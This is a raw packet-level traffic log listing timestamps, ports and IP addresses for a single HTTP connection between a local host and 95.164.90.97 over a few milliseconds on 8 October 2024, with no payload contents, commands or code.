Oct 8, 2024 02:45:33.390744925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390752077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390754938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390774012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390785933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391139984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391156912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391179085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391182899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391195059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391195059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391211033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391213894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391226053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391231060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391243935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391248941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391262054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391264915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391279936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391292095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391294956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391304016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391310930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391321898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391325951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391334057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391339064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391350985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391355038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391367912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391371012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391376972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391398907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391401052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391410112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391418934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391434908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391443968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391448975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391457081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391468048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391474009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391483068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391484022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391506910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391515017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391834021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391849041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391865015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391877890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391880989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391891003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391894102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391906977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391910076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391925097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391935110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391940117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391957045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391961098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391978025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.391983986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.391994953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392007113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392009020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392028093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392030954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392052889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392062902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392282963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392297983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392313004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392323017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392328024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392335892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392344952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392359018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392359018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392374992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392380953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392390966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392404079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392405987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392415047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392430067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392438889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392446041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392461061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392462015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392474890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392483950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392489910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392502069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392505884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392513037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392522097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392534018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392539024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392545938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392554998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392566919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392576933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392580986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392597914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392600060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392613888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392621994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392630100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392632008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392644882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392651081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392659903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392662048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392678022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392682076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392693996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392698050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392710924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392714977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392726898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.392731905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392750025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.392765045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393253088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393269062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393284082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393292904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393299103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393305063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393315077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393323898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393330097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393341064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393345118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393352032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393361092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393371105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393376112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393383026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393400908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393402100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393418074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393420935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393433094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393435955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393449068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393455029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393465042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393469095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393481970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393486977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393497944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393506050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393512964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393521070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393531084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393534899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393547058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393558979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393563032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393567085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393578053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393591881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393594027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393600941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393610001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393623114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393626928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393634081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393642902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393655062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393657923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393667936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393672943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393686056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393688917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393704891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.393711090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.393737078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394227982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394243956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394258022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394265890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394272089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394287109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394290924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394301891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394313097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394316912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394332886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394340992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394350052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394366026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394372940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394386053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394388914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394408941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394416094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394423962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394438028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394440889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394453049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394463062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394468069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394485950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394490957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394501925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394515038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394516945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394532919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394540071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394548893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394562960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394567966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394577980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394583941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394593954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394606113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394608974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394623995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394624949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394633055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394640923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394654036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394656897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394664049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394673109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.394690990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.394700050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395127058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395143032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395158052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395165920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395174980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395189047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395190001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395204067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395214081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395219088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395236015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395243883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395251036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395266056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395272017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395281076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395282030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395309925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395319939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395323038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395334959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395349026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395358086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395365000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395375967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395381927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395386934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395404100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395405054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395421028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395421028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395437002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395438910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395452023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395458937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395467997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395477057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395482063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395487070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395498037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395504951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395514011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395529985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395534992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395534992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395545959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395555973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395561934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395565987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395579100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395591021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395593882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.395601988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395617962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.395636082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396204948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396220922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396235943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396245956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396250010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396255970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396265984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396276951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396281004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396296024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396310091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396323919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396323919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396325111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396323919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396337032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396348953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396363974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396364927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396378994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396389008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396394968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396399975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396410942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396424055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396425962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396433115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396441936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396454096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396456957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396466017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396475077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396486044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396490097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396502972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396506071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396522045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396527052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396538019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396548986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396553040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396562099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396569014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396579981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396584988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396596909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396603107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396619081 CEST	80	51293	95.164.90.97	192.168.2.4
